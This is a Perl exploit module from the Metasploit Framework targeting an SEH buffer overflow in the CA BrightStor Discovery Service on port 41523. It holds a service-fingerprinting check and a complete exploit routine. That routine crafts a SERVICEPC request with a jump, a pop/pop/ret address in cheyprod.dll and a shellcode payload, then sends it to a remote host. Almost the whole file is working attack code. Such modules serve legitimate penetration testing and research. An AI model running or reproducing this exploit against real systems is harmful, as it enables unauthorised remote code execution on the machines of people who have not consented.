##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_disco_servicepc;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
  'Name'     => 'CA BrightStor Discovery Service SERVICEPC Overflow',
  'Version'  => '$Revision: 1.2 $',
  'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  'Arch'     => [ 'x86' ],
  'OS'       => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  'Priv'     => 1,
  'AutoOpts' => { 'EXITFUNC' => 'process' },
  
  'UserOpts' => 
  {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 41523],
  },

  'Payload' => 
  {
    'Space'     => 2048,
    'BadChars'  => "\x00",
    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500          
    'Keys'    => ['+ws2ord'],
  },

  'Description'  => Pex::Text::Freeform(qq{
    This module exploits a vulnerability in the CA BrightStor
    Discovery Service. This vulnerability occurs when a specific
    type of request is sent to the TCP listener on port 41523. This
    vulnerability was discovered by cybertronic[at]gmx.net and affects
    all known versions of the BrightStor product. This module is based
    on the 'cabrightstor_disco' exploit by Thor Doomen.
  }),

  'Refs'    => 
  [
    ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
  ],
  
  'Targets' => 
  [
    ['cheyprod.dll 12/12/2003', 0x23805714], # pop/pop/ret
  ],
  
  'Keys'    => ['brightstor'],
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');

  # Connection #1 should not receive a response
  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
  );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return $self->CheckCode('Connect');
  }

  $s->Send("META");
  my $res = $s->Recv(-1, 1);
  $s->Close;

  if ($res) {
    $self->PrintLine("[*] The discovery returned a strange response: $res");
  }

  # Connection #2 should receive the hostname of the target
  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
  );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return $self->CheckCode('Connect');
  }

  $s->Send("hMETA");
  my $res = $s->Recv(-1, 1);
  $s->Close;

  if (! $res) {
    $self->PrintLine("[*] The discovery service did not respond to our query");
    return $self->CheckCode('Generic');
  }

  $self->PrintLine("[*] Discovery service active on host: $res");
  return $self->CheckCode('Detected');
}

sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $target = $self->Targets->[$target_idx];

  $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
  );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }


  my $poof = Pex::Text::EnglishText(4096);
  
  # Overwriting the return address works well, but the only register
  # pointing back to our code is 'esp'. The following stub overwrites
  # the SEH frame instead, making things a bit easier.
  
  substr($poof, 1024, 2, "\xeb\x06");  
  substr($poof, 1028, 4, pack('V', $target->[1]));
  substr($poof, 1032, length($shellcode), $shellcode);
  
  # Make sure the return address is invalid to trigger SEH
  substr($poof, 900, 100, chr(128 + rand()*127) x 100);
  
  my $bang = 
    "\x9b".
    "SERVICEPC".
    "\x18".
    pack('N', 0x01020304).
    "SERVICEPC".
    "\x01\x0c\x6c\x93\xce\x18\x18\x41".
    $poof;

  $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
  $s->Send($bang);
  
  # Closing the socket too early breaks the exploit
  $s->Recv(-1, 5);

  return;
}

1;